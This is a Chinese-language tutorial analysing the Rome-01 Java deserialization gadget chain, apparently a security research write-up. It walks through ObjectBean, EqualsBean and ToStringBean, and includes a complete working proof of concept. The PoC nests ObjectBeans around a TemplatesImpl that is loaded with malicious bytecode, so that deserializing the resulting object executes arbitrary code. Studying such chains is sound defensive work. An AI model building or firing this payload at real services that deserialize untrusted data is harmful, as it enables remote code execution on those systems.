一,rome 概览
Rome 是一个用于 RSS/Atom Feed 解析与生成 的 Java 库,其作用是将不同格式的 Feed(RSS、Atom 等)统一抽象成 Java 对象,方便开发者进行读取、修改和生成。
二,关键类介绍
ObjectBean
为了统一 JavaBean 的通用行为(如 equals()、hashCode()、toString() 等)的实现,Rome 设计了 ObjectBean 作为一个通用包装器(Wrapper)。ObjectBean 内部维护了两个核心字段:
-
_beanClass:表示被包装对象所属的类型; -
_obj:表示真正被包装的对象。
ObjectBean 本身几乎不实现具体逻辑,而是将 equals()、hashCode()、toString() 等方法分别委托给内部的 EqualsBean、ToStringBean 等辅助类完成。在 Rome-01 Gadget 中,正是这种”包装器 + 委托”的设计,使得普通对象能够通过一系列方法调用最终进入危险的反射调用流程,因此 EqualsBean 和 ToStringBean 是本条利用链需要重点分析的两个核心类。
三,链子总览
HashMap.readObject()
ObjectBean.hashCode()
_equalsBean.hashCode()
beanHashCode()
_obj.toString().hashCode()
_toStringBean.toString()
getTransletInstance().invoke(_obj,NO_PARAMS)
四,Poc
public class App { public static void main(String[] args) throws Exception { byte[] evilBytes = Files.readAllBytes(Paths.get("Evil.class"));
TemplatesImpl templates = new TemplatesImpl(); setField(templates, "_bytecodes", new byte[][]{evilBytes}); setField(templates, "_name", "Evil"); setField(templates, "_tfactory", new TransformerFactoryImpl());
ObjectBean delegate = new ObjectBean(Templates.class, templates); ObjectBean root = new ObjectBean(ObjectBean.class, delegate);
HashMap map = new HashMap(); map.put("test", 1);
Field tableField = map.getClass().getDeclaredField("table"); tableField.setAccessible(true); Object[] table = (Object[]) tableField.get(map); for (Object node : table) { if (node != null) { Field keyField = node.getClass().getDeclaredField("key"); keyField.setAccessible(true); keyField.set(node, root); break; } }
System.out.println("=== serializing ==="); ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("rome.ser")); oos.writeObject(map); oos.close();
System.out.println("=== deserializing ==="); ObjectInputStream ois = new ObjectInputStream(new FileInputStream("rome.ser")); ois.readObject(); ois.close(); }
private static void setField(Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); }}整个链子主要利用 EquaslBean 的 beanHashCode()方法和 ToStringBean 的 toString()方法来充当 gadget,反序列化时触发 HashMap 的 readObject 方法,从而触发内部元素的 equals 方法,而 ObjectBean 的 hashCode 方法又会转发给 内部的 EqualsBean 类,进而进入到 _beanHashCode(),

而在 _beanHashCode 方法中又会调用 toString 方法,从而又进入到 ToStringBean 中的 toString 方法

ToStringBean 类中的 ToString 方法非常关键,查看其源码可以发现,该方法会循环获取 _obj 类的 get 方法,并反射调用,自动调用 get 方法可以想到老朋友 TemplatesImpl,该类存在一个getTransletInstance 方法,可以加载任意字节码,进入 sink,触发恶意类加载
在这期间值得注意的是我们在构建塞入 HashMap 中的 ObjectBean 元素时采取了嵌套构造的方法,一个 ObjecBean 中又嵌套了一个 ObjectBean 类,为什么要这样做?

重点在于 EqualsBean 的 beanHashCode 方法中

我们是利用 _obj.toString()进入到 ToStringBean 的 toString 方法中才触发最终的反射调用,而 _obj 就是我们传入 ObjectBean 中的初始类,如果这里只用一个 ObjectBean 包装:ObjectBean inner = new ObjectBean(Templates.class, templates);
那么 _obj 就是 templates,那调用就走进了 templates.toString 方法,显然这个 toString 方法并不是我们想要的,我们需要一个能自动调用类 get 方法的方法
所以我们需要对其进行双重包装,最终:
HashMap
->outter ObjectBean(ObjectBean,inner)
->inner ObjectBean(Templates.class,templates)